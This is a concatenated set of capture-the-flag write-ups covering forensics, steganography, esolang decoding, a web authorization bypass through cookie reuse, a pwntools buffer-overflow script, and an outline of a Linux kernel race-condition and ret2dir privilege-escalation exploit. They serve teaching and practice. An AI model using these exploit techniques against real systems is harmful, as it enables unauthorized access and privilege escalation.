3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Home Computer (forensics)

[Attachment](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/attachments/day2.zip)
Let's go ahead and unzip the challenge and see what's in store for us.

Looks like we're dealing with an NTFS filesystem, and we're going to be doing some forensics on it. While Linux uses the open source ext4 and Mac OS X uses the proprietary APFS (Apple File System), NTFS stands for the New Technology File System, and is basically the proprietary filesystem that Windows systems use as Windows falls under the Windows NT (New Technology) family of operating systems.
Now, even though we have an NTFS filesystem right here, we can't just `cd` right on into it as we would a directory. We have the filesystem, not a directory that leads into the filesystem. In order to actually access the contents of the filesystem, we need to mount it to our own system at a specified mount point. After mounting the filesystem, then we can actually access it as if it were a directory.
We first need to create a mount point. The standard for mounting is to create mount points in the `/mnt` directory. We create a mount point by creating a directory, and so we can use `mkdir` as we would any regular directory. You'll often times need to do this as a higher privileged user, though, since it is of course being done in the `/mnt` directory and the nature of this operation warrants higher security measures.
After creating a mount point, we can then mount the NTFS filesystem to the mount point using `mount`. We'll also pass `-t ntfs` to specify that the type of filesystem we're mounting is NTFS, and we'll pass into the required positional arguments our filesystem in question as well as the desired mount point.
After successfully mounting, we'll go ahead and `cd` into the filesystem via the mount point and then list the contents using `ls`.

Let's navigate around and see if the flag is around here anywhere or if there are otherwise any clues. On Windows NT filesystems, user home directories can be found in `C:\Users`, so we'll snoop around there.
We stumble upon a hint in `C:\Users\Family\Documents\credentials.txt`.

It looks like the flag is an image file kept in extended attributes. Extended attributes are an interesting feature part of NTFS filesystems. Extended file attributes are used to attach metadata to files while being basically invisible as the system itself doesn't have much use for the data that they hold. Extended file attributes can store data of arbitrary lengths. They are not necessarily embedded into a file, per se, but are much closer along the lines of "abstractly linked."
On NTFS systems, extended file attributes can be found in alternate data streams, a particularly interesting feature of NTFS filesystems. Alternate data streams are essentially invisible to the untrained person in almost all ways, but anybody who knows what they're looking for can easily uncover them. Alternate data streams are often times used to hide data or, in more malicious circumstances, hide malware or parts of malware.
One of my favorite tools when it comes to filesystem forensics is The Sleuth Kit. I highly recommend them and they are the ones that I used for this challenge. They are, of course, free and open source, as all things should be.
In order to uncover the alternate data stream supposedly associated with `C:\Users\Family\Documents\credentials.txt`, we need to find its inode, and then we'll display the contents of the said inode. A file's inode is essentially a structure that stores all the information about a file except for its name and data, and in this case, we need to discover it to use as an identifier in order to display its contents.
Before we continue any further, we no longer have a purpose for the mounted filesystem. Everything from here forwards will be done on the NTFS filesystem file. We can go ahead and unmount the mounted filesystem using `umount`, and then we can remove the mount point created earlier using `rmdir`. This will, once again, require higher user privileges.

We can list all the file and directory names on the disk image using `fls`. We'll also pass `-r` so that it lists files recursively. Then, we're going to pipe the output into `grep` and look for the `credentials.txt` file in order to filter out everything else.

Looks like we've uncovered the extended attributes found in the alternate data stream associated with this file! We'll use its identifier, `13288-128-4`, in order to display its contents using `icat` (image `cat`). We can expect a lot of data to be outputted to the terminal that we don't need to understand since it's just image data, so let's instead do something more useful with it like piping it into `file` to see if it is indeed the image file (with image in this case meaning picture) that `credentials.txt` was talking about. We'll pass `-` into `file` to specify that we want it to read from STDIN. `file`, oddly, doesn't understand that from pipes.

Looks like we got it! Let's go ahead and `icat` its contents again, but this time redirecting the output into a file, and then opening it up using an image viewer.

This challenge was a lot of fun, and I learned a lot from it, especially since I didn't know a single thing about NTFS filesystems before this. Well done, Google. It sent me on a rabbit hole and I learned a lot more than I probably needed to about NTFS filesystems, but the more the merrier.
## Flag
```CTF{congratsyoufoundmycreds}```
# Next Stop

Next stop: [Government Agriculture Network](https://github.com/shawnduong/ctf-writeups/blob/master/2019-GOOGLE/beginners-quest/day3-government-agriculture-network.md) |
In this challenge we are given a link to a website (http://chall.2019.redpwn.net:8008/) and his source code.
Giving a fast look at the source code is easy to notice that the accounts are saved in a Map with an id like "ghast:0", where 0 is an increasing number, converted in base64 without the equal sign.
```javascriptconst makeId = () => Buffer.from(`ghast:${idIdx++}`).toString('base64').replace(/=/g, '')
const things = new Map()
things.set(makeId(), { name: secrets.adminName, // to prevent abuse, the admin account is locked locked: true,})```
Furthermore there is a route at /api/flag that you can access only if your account "name" attribute is the same as the admin one (which is secret) and you don't have the "locked" attribute (which is automatically set to true in the pre-existent admin account).
```javascriptif (req.url === '/api/flag' && req.method === 'GET') { if (user.locked) { res.writeHead(403) res.end('this account is locked') return } if (user.name === secrets.adminName) { res.writeHead(200) res.end(secrets.flag) } else { res.writeHead(403) res.end('only the admin can wield the flag') }}```
Here it comes the fun fact: in this site you can also save some objects (called ghasts) with a title and a text content but looking at the source code you can notice that it saves them in the same Map as the users. This means that going to /api/things/[id] you can view a ghast or a user with a given id. Because the admin account was created first his id will be "ghast:0" in base64, without the equal sign: Z2hhc3Q6MA. Infact visiting /api/things/Z2hhc3Q6MA we now know the admin's username: "sherlockholmes99".
Now we have to create a new account with that same username so we don't have the lock attribute. This is impossible to do in the registration page due to a condition: you cannot create an account with the same name of the admin. So we have to use again the fun fact found earlier: we create a ghast with the name "sherlockholmes99" and any content, grab the id from the url and paste it into the cookie named user.
Here we are, now it is possible to visit the page /api/flag and grab your flag without any problem.
```flag{th3_AdM1n_ne3dS_A_n3W_nAme}``` |
In this pwn challenge with the following description:```It's a b0f , Can't be easier than that.
Service : nc 68.183.158.95 8989```
We were given a normal 64 bit ELF without the source code, so I started with some reverse with Ghidra and the main appears to be a normal algorithm which asks for a string and in the end checks whether a variable is equals to a certain value:

The weird thing is that it reads up to 0x100 bytes, so let's check in gdb the address of the variable filled and the checked one:
```0x40074f <main+136>: lea rax,[rbp-0xe]0x400753 <main+140>: mov esi,0x1000x400758 <main+145>: mov rdi,rax0x40075b <main+148>: call 0x4005c0 <fgets@plt>```
Here we are loading the address of the variable in the register so that fgets can use it to store bytes, let's get the address and it's content after the reading:
```x/s $rbp-0xe0x7fffffffe6c2: "asdasd\n"```
Here is the checking part:
```0x400760 <main+153>: cmp DWORD PTR [rbp-0x4],0xdeadbeef0x400767 <main+160>: jne 0x400777 <main+176>```
Let's get the address:```x/s $rbp-0x40x7fffffffe6cc: "\276\272\376ʐ\a@"```
So the offset between the two variables is 10 bytes. We can overwrite the content of the checked variables and we can overwrite it with the desired value so that the check si true. So the exploit is as simple:
```python#!/usr/bin/python2
from pwn import *
padding = 'A'*10payload = padding + p32(0xdeadbeef)
r = connect('68.183.158.95' , 8989)r.sendline(payload)r.interactive()```
In the end the flag is:```d4rk{W3lc0me_t0_th3_w0rld_0f_pwn}c0de``` |
[中文](./README_zh.md) [English](./README.md)
Please download the [WP_zh.md](WP_zh.md) or [WP.md](WP.md). Github doesn't support rendering math equations. You can render locally.
 |
[https://medium.com/@yashitmaheshwary/no-fatshaming-web-challenge-writeup-codefest19-ctf-1deea5a2ea49](https://medium.com/@yashitmaheshwary/no-fatshaming-web-challenge-writeup-codefest19-ctf-1deea5a2ea49) |
In this stego challenge with the following description:```One of my friends like to hide data in images.Help me to find out the secret in image.```
We were given a .jpg file:
So the first thing to do is look for exif data:```$ exiftool stego.jpgExifTool Version Number : 11.50File Name : stego.jpgDirectory : .File Size : 47 kBFile Modification Date/Time : 2019:08:22 23:00:54+02:00File Access Date/Time : 2019:08:22 23:01:18+02:00File Inode Change Date/Time : 2019:08:22 23:01:12+02:00File Permissions : rw-r--r--File Type : JPEGFile Type Extension : jpgMIME Type : image/jpegJFIF Version : 1.01Exif Byte Order : Big-endian (Motorola, MM)X Resolution : 1Y Resolution : 1Resolution Unit : NoneY Cb Cr Positioning : CenteredCompression : JPEG (old-style)Thumbnail Offset : 202Thumbnail Length : 13391Comment : Compressed by jpeg-recompressImage Width : 1116Image Height : 102Encoding Process : Progressive DCT, Huffman codingBits Per Sample : 8Color Components : 3Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)Image Size : 1116x102Megapixels : 0.114Thumbnail Image : (Binary data 13391 bytes, use -b option to extract)```
Nothing here, let's move on looking for eventual appended files:```$ binwalk stego.jpg
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 JPEG image data, JFIF standard 1.0130 0x1E TIFF image data, big-endian, offset of first image directory: 8202 0xCA JPEG image data, JFIF standard 1.01```
Bingo! We have found one more jpeg appended at the end of the first one, let's try to extract it:
```$ binwalk -e stego.jpg```
Binwalk seems not to work. Let's try to extract it with dd:
```dd if=stego.jpg of=2.jpeg ibs=1 skip=20247597+0 records in92+1 records out47597 bytes (48 kB, 46 KiB) copied, 0.0625076 s, 761 kB/s```
and the result is:

Let's decode it with a simple python script:
```python#!/usr/bin/python
from pyzbar.pyzbar import decodefrom PIL import Imageimport sys
print(decode(Image.open(sys.argv[1]))[0].data.decode('utf8'))```
```bash./decoder.py 2.jpegd4rk{flAg_h1dd3n_1n_th3_thumbnail}c0de``` |
MSB (Most Significant Bit) and LSB (Least Significant Bit) are steganography technics (https://en.wikipedia.org/wiki/Bit_numbering)We have an image:

I simply used Stegsolve to extract data from it. After a few attempts I got the output:

And the flag is: ```flag{MSB_really_sucks}``` |
__[team] n19htch41n__

We have 3 files and the description is the same with desc.txt.
First, we decode the description with Brainfuck deobfuscator, we have a equation:
> x^4-314x^3+2771x^2-7954x+7320=0
Solve it!!!
> x=2, x=3, x=4, x=305
Then, begin with the file1.txt, we have a hex file, just convert to strings
```3hdhj2ino5cs711ip1jl8kl816gz0it3fzz6hzuo4lkk0as7xitwr3he6oopwsv7voci3i4tepb22sqltf0ed7814zahhag1cit4kd8zxfnyrz2okh07l4z6k87941pcjnemlnyq3rfp1qfbam6mi6h7a9x3b1m24to0jv66cuayb7jx0nvfwkhhwyz7m6fv99rplkile9ngdr0hv49xb74clrheoqowkd8a9sbgl5ia4k3bucrxax1ydxu6louv42iphyd01znbz004sgw8rgqu148se864xvwk9z2smvikys308v242njv8yg52o96sig0hf34q33dd157x5veulwbyvqrzf1hbywk8itwx14j0bdksigmx18ngi79gdgk1t65lqpyk9ngz3zxn6pa5j0ys7144cfqkew98s9nprasm3xfi6nkpliinklxgtgkj0ym1ecw0rfiph62futxqmfb9qseqpasg2bel91efisdtjftsrlutdtb9hkzx81lxa92s9g8fysczabqy3oal9iwq3c2761m1rwp41msqfk8tis1rhgwa31z6fe3yj4gmvsxlw1wrhyb1f7g5cf02syf8ji721d1pcu9yux8sdk3zukhobvs3axkuc9qfvgu34eq2wn5xbt6eha05tugff5v0aingolwz7170vxhvtscqbt5nu1pl8j18dtk77rlvpbsmoxi0v0ah1o1b8afamhs82n4x2vbdsoxmm36ps1cf34dqljgfsga2fozoefde36mtuvg9urd5fohu97hu1gu8xllcxta5zcqmkbz3ovpuv5f8oe2c09sfhk0w1yvlxdnh7ywra9lon125q7f5v9fyppfnun9j0zgtj7i9cmt5ykgsdbr9hil9f5b2ettg29quvb02da3xl5tvie5ky9kwb1bxu4bxku5j82j9upyenach78zq0b8htp3wmdf87yo6wmm1tpfoxbu4oa3js8mjnvu209rf0o64wek2135pvbobu378bjz0w3rq9umxfxtj2v69tjwkdux0n2wpzkgopzmgcdvvb6wv4y8g6f0u12xbwcepot5lm55sm2o5c5r5gb329xvauknvkq0udkvou9lv75jurxa64k208u93e68fk8n3q6qs66fofowfwqjidn11v3febxqu77jnj4923rnnkrvutcr625l8e5z330marrt5benok542p19qob6cxzasy8m3q4sx4wszzun956ucfwm1qqo62660dgqmo8t7y2gj3ylkgap7gr3gfwtkkeqhwenqrywpg8it6clj744c3lylkzqh89h55105izp3jz6jr2ft5e6d7abinisdedkt6i6fh77s57w96hgb86rbv43u4w8tymm29syjlem27c7hf4yabouq68s4zzb9hm9cla5i0ymf8rz3fctei4bofdolbriyhl9adl9eva393d7kla5blzqr7hmz3p1p80a9akvvduumov70xchc0jbctwq52ju8t6ieeuseqdroi3zkjw7pj6ivtjr2cei262gldr4abor694m5iubmhueyg2pxrjuj1h9tqfytc1uzk23aru3bmpgblo4l4l4kf5ivwcp67nhy9mgeisu571fult6wkuvlbywuzaheuxml7m4u1yjqw6g0u6xld1yzg5qisf7j5bz569kajvh6stlqmcs0la1wnri9sg9m3diu7br88wlsb6dg17z9zuw63ej54c24sxnduhirh7p4ltromy26ra3edsiiwj4gkkxa5zxrv7bploeskujv549q6g69eo8f0guopfr9h98xkeeoeow69x8gokutl8m0swoa2u4oq9a0okmtpl0c6j3rumsqyv7lr8dw1wf85th7uz8vjy1ovitw9woshu4tdhaa4ur3dpa79r7qttq2000z2rmacgj63bw5gdgnjj9tb3b7z72zu0hvbr61z0tw3upk7sn162r0wmqnifxr2tr7fd0mhyp79xvu64amxwvqes6e5wwa4phj1myw4yfcn7vfos13z3urmsyncggtkubs8ifriqb7frm6wajwu9wizpkfdrn6hob92322t63fi7on7xenllys6n76tx4e7mw880an07ij95g3ghyd8dbebcrfdkl1tb58owhta5qhzwekxqmn3tok8sv83kumztyamkeph0lw0cvvs6yamxynngy4vr3j7582m614tep2lfahgoubzzos3rloyedlbfy00x0n38jziysdkdgji1uxzyhnst931dqgz7w6d9g1wyia0rki1zzit58soj5vbx5xrbwwvw0ek0c6y8gujx3xvajjqcsl5t7sesjfb0tr8p7flp8fzpokzl42s0b86gh6ggnsymguzeeivwzhjz096wj3p8kl46izj35d2w4hlbx5fkleltl2ghdttx4698blgd4wbux04svz1e9649dzhja2s01kyl5opmy1wxsiypv1lc64s6oeee6e41s1enbijtbj19funhpmsmzsqpzpkqplimuycuhsz6ljdvhk3e3o6ml7ezckw2x4ry4pyxqw4lji1agq0wj7n7a1xwz78erzz831jciq866su6puq5h9omsf7oa8l18ix7l4lw6iry2o612lkgd83meqlun3rd6wej821e8noktby8nhoy6e97jkcv52haiahe4tpdzh0pprnjwm203yumiadjzwvvrkqyxdzyx9pnook6s9xwf0fjiwxsjff6w0fgpdhv5glqd2ienn1h475i45df8j8wja8jpotloji3mdwdt8m8qmtyjxzrcmcxkvw2negz1hda7j2xb6u3vhhnq2xt89clygemmj1eosg6n6px360hngiq94sk6xqz1hr02lpombgrh84be0w5zr3sgv4n6wo7d59tddl6ycwk19c7r5ebqc71z1p00odk34dsyah3bb96npl05d6yhdicz8yv4eaauu1j4h57ia8yvm5r1drxz5zfbpx81zys2l9babdz4w6mopvthslhffjxjhj7wor7dyxxstn62gb4rellqyv3890c7uutqhj9yuwgxr6l9mcvqe2wd74fue5pp0e5dnzo0s70lknmuy0qmpg1o1rus1kybfu5vcwax7omsm6xk621ddwfn9tatwbc1slsgh7139ufgnjwdbx9acqewaf2lkdglakng82etn9xfupzvo9fvvibt28m8am0iiwdoyvs2fkypcdose7a3gs2kwkd4ua1wjf```Continue with file2

x = 0, y =0, rule = B3/S23 ? We Google it and found some interesting results : [RLE file format](http://golly.sourceforge.net/Help/formats.html), [Conway's Game of Life](http://www.conwaylife.com/wiki/Run_Length_Encoded). Okay, we tried with all part with "!" present.With a final part, import to [this](http://copy.sh/life/), we get a result```x = 0, y = 0, rule = B3/S2310$obo5b3obob3obobob$obob3obo7bobobobobob3o$bo2b3ob3obo2bo2b3ob3o$bo2b3obo3bobo3b3ob3ob3o$bo2bobobo3bob3obobob3o$!```
>"YmFiZWw= " (base64) -> babel
Okay, Google again. The name of challenge "Jorge Luis Borges", "book", "babel". And then, we get the book with a website > https://libraryofbabel.info

hex name: strings from file1
wall : 2
shelf : 3
volume: 4
page: 305

flag: d4rk{daymsonureadbooksbiglol}c0de
Thanks to @wensu, my teammate copporarting with me to solve this challenge.
|
**[team] n19htch41n**

The file is written with Brainfuck, so I use the [online interpreter](https://www.splitbrain.org/_static/ook/)to deobfuscate it. 
The output is another esolang named [Malbolge](https://esolangs.org/wiki/Hello_world_program_in_esoteric_languages#Malbolge). [Decode](http://malbolge.doleczek.pl)it, I get a hex output -> hex2strings 
Okay! We found it !!> ed0c}t53b_5t1_t@_3b@b_3f@c_ht1w_3gAugnAl_c1r3t05e{kr4d
Reverse it,flag:>d4rk{e50t3r1c_lAnguAg3_w1th_c@f3_b@b3_@t_1t5_b35t}c0de |
[中文](./README_zh.md) [English](./README.md)
# Race wp
## 一、Try to leak slab address via race condition
The bug is obviously.When we call copy_to_user and copy_from_user, in the same time deleting the buffer. In order to expand the window of the race condition, we need to mmap a piece of memory. When copy_to_user is coping data from buffer to the user space, will cause page fault, which may cause process schedule. Be careful, the copied size can not be 8 bytes, you can see the [implementation](https://elixir.bootlin.com/linux/v5.0-rc8/source/include/linux/uaccess.h#L149) of copy_to_user. Due to the differences between the local and server environments, the number of deleting process will be a little different.
Execute Sequence:
||||:-:|:-||test_write|||copy_to_user|||page fault||||test_del|||kfree free buffer||copy_to_user||
So, we can successfully leak the slab address.
## 二、Physmap spray
We need to allocate a lot of memory to do physmap spray. The total memory allocated to qemu is 128M,and we can allocate 64M memory in a process,so there is 50% chance to land on the [physmap](https://www.blackhat.com/docs/eu-14/materials/eu-14-Kemerlis-Ret2dir-Deconstructing-Kernel-Isolation.pdf) we controled.(In fact, if we find a good offset, we can succeed everytime)
## 三、Overwriting the first 8 bytes of a freed slab object.
We can calculate the physmap address via the slab address.(These two is very closed,and I guess the physmap containing slab, but I can't sure)
In order to expand the window between the writting and the deleting,I write the physmap address into a file directly(no kernel buffer, [O_DIRECT](http://man7.org/linux/man-pages/man2/open.2.html)), then just mmap the file into memory. The next step is exactly like what we do in section one. So we can overwrite the next freed slab object to the physmap addr under our control. After all, we just need to open ptmx (open("/dev/ptmx",O_RDWR)), so that we will have a tty_struct in control.
## 四、Find physmap address alias
We just need to find out where in the memory that we mmaped in section two is not zero. That means we find the tty_struct in user space.
## 五、tty_struct tricks
In fact, opening ptmx will allocate two tty_struct(master and slave), and the second tty_struct (slave, [pts](https://docs.oracle.com/cd/E19253-01/816-4855/termsub15-14/index.html)) is under our control. So in order to call ioctl on the slave side, we need to open pts (open(pts_name, O_RDONLY | O_NOCTTY)).
I just changed tty->ops->ioctl to set_memory_x to get the physmap address excutable, and finally jump into the physmap where supposed to be placed with shellcode.
PS:ret2dir is very awesome. Originally, I only intended to use uaf with ret2dir, but gradually it became a race condition. :)
## exp[exp.c](./exp.c)
## reference
copy_to_user : https://elixir.bootlin.com/linux/v5.0-rc8/source/include/linux/uaccess.h#L149
ret2dir : https://www.blackhat.com/docs/eu-14/materials/eu-14-Kemerlis-Ret2dir-Deconstructing-Kernel-Isolation.pdf
O_DIRECT : http://man7.org/linux/man-pages/man2/open.2.html
ptmx : https://docs.oracle.com/cd/E19253-01/816-4855/termsub15-14/index.html
|
# Flagconverter
Challenge description:```On the campground of the CCCamp, someone is trying to troll us by encrypting our flags. Sadly, we only got the memory dump of the PC which encrypted our flags.```
This challenge includes a single memory dump, with 3 challenges inside. The dump is from a Windows 7 64-bit machine, and inside it there's supposedly someone that has encrypted some flags. One was very recently encrypted, and another was encrypted a long time ago. Let's get to it.
# Part 1
This part is fairly simple. The flag exists somewhere in the memory as-is, with no obfuscation. Simply `fgrep -a "ALLES{" flagconverter.dmp` to get the flag.
`ALLES{f0r3n51k_15_50m3t1m35_t00_345y}`
# Part 2
We're going to use [Volatility](https://github.com/volatilityfoundation/volatility/) to analyze the memory dump. First, we start off with an `imageinfo` to identify which profile to use. Here, Volatility runs a few useful scans to determine the best profile fit. We end up with `Win7SP1x64`, which will be used for the rest of this write-up.
```$ vol.py -f flagconverter.dmp imageinfoVolatility Foundation Volatility Framework 2.6.1INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS) AS Layer3 : FileAddressSpace (flagconverter.dmp) PAE type : No PAE DTB : 0x187000L KDBG : 0xf800027ff120L Number of Processors : 2 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff80002801000L KPCR for CPU 1 : 0xfffff880009eb000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2019-08-21 05:55:09 UTC+0000 Image local date and time : 2019-08-21 07:55:09 +0200```
Next up, we'll run `pslist` and `filescan` to see what we have available. The outputs of these are enormous, but there's a few interesting files and applications being run. Some of these are located on the desktop for the ALLES user:
```0xfffffa800246e530 converter.exe 2308 2280 11 183 1 0 2019-08-21 05:52:25 UTC+00000xfffffa800246fb00 converter.exe 2316 2280 10 152 1 0 2019-08-21 05:52:25 UTC+0000...0x000000003e66a6a0 15 0 R--r-- \Device\HarddiskVolume2\Users\ALLES\Desktop\1\converter.exe0x000000003eb79430 1 1 R--r-d \Device\HarddiskVolume2\Users\ALLES\Desktop\3\Crypto.dll```
Dumping these wasn't easy to do uncorrupted with Volatility, but we managed to do so after some combination of memory areas. `converter.exe` is a .NET application, and firing up `dnspy` reveals that it's just a thin form application that interacts with `Crypto.dll`. There's a text field, and a button to press for encrypting. The `Click_Button` function looks like this:
```private void Click_Button(object sender, EventArgs e){ Crypto crypto = new Crypto(); crypto.function03(); this.string_0 = Convert.ToBase64String(crypto.function02(this.text.Text)); crypto.Dispose(); GC.Collect(); GC.WaitForPendingFinalizers(); this.ms.Read(Encoding.ASCII.GetBytes(this.string_0), 0, Encoding.ASCII.GetBytes(this.string_0).Length); this.text.Text = this.string_0;}```
Here it initializes the Crypto class, calls some `function03`, followed by `function02` on the text in the input field, and finally base64-encodes the result. The application also aggressively interacts with the garbage collector, to make sure the flag doesn't stay in memory after encrypting. Looking at `Crypto.dll` in `dnspy`, we easily find these functions:
```public void function03(){ byte[] array = new byte[28]; WindowsIdentity.GetCurrent().User.GetBinaryForm(array, 0); this.byte_1 = new byte[16]; Array.Copy(array, 0, this.byte_1, 0, 16); this.byte_0 = new byte[32]; Array.Copy(array, array.Length - 16, this.byte_0, 0, 16); Array.Copy(array, array.Length - 16, this.byte_0, 16, 16);}
public byte[] function02(string string_0){ SymmetricAlgorithm symmetricAlgorithm = this.function01(); MemoryStream memoryStream = new MemoryStream(); CryptoStream cryptoStream = new CryptoStream(memoryStream, symmetricAlgorithm.CreateEncryptor(), CryptoStreamMode.Write); byte[] bytes = new UnicodeEncoding().GetBytes(string_0.PadRight(string_0.Length % 8, '\0')); cryptoStream.Write(bytes, 0, bytes.Length); cryptoStream.FlushFinalBlock(); memoryStream.Position = 0L; byte[] result = memoryStream.ToArray(); string_0 = null; cryptoStream.Close(); memoryStream.Close(); GC.Collect(); GC.WaitForPendingFinalizers(); return result;}```
The gist of it, is that `function03` fetches the SID of the current user, in its binary form, which is a [big mess of big and little endian hexadecimal chunks](https://devblogs.microsoft.com/oldnewthing/20040315-00/?p=40253). It is only 28 bytes long, but it copies the first 16 bytes into `byte_1` and the last 16 bytes into `byte_0` two times. `function03` then uses AES in CBC mode, with `byte_1` as the IV and `byte_0` as the key for encryption. Aggressive garbage collection is also done here. An equivalent decryption function in Python looks something like this:
```pythonfrom Crypto.Cipher import AES
def decrypt(SID, ciphertext): IV = SID[:16] KEY = SID[len(SID)-16:]*2 return AES.new(KEY, AES.MODE_CBC, IV).decrypt(ciphertext)```
Now that this is out of the way, we just need to hunt for base64-encoded data somewhere. We actually found part 3 before part 2, but part 2 can be found within the memory dump of the `converter.exe` process using `strings` or similar tools. It is `ZuwJUgfmKzIMbo4F8agPy1MPLq+r7cAlDLowY+RT2wgp1uifc2TXeNH4bvbb2VqfK6r77SPHFrrMYR+GMGv8JGS87Tiybyi4LNNHQWnTR8LlGlSeHWWA9pydAXuJjSk8FzUFbqHOKqHc+bCtJ/4K2Q==`, and using the decrypt function from above together with the SID `0105000000000005150000009a54b0afcd26c4824b70f4b0e8030000` (decoded from hex) and the base64-decoded bytestream of our flag yields `ALLES{50m3_f0r3n51k_50m3_r3v3r51ng_4nd_50m3_c2ypt0_fun}`. We actually found this string by looking through the screen buffer in the image, where we stumbled upon a somewhat legible image of the screen state, where the encrypted flag was located. We then grepped for the readable parts to find part 2. The SID can easily be found with the `getsids` plugin, but it is also visible inside the filescan results (and many other places).
# Part 3
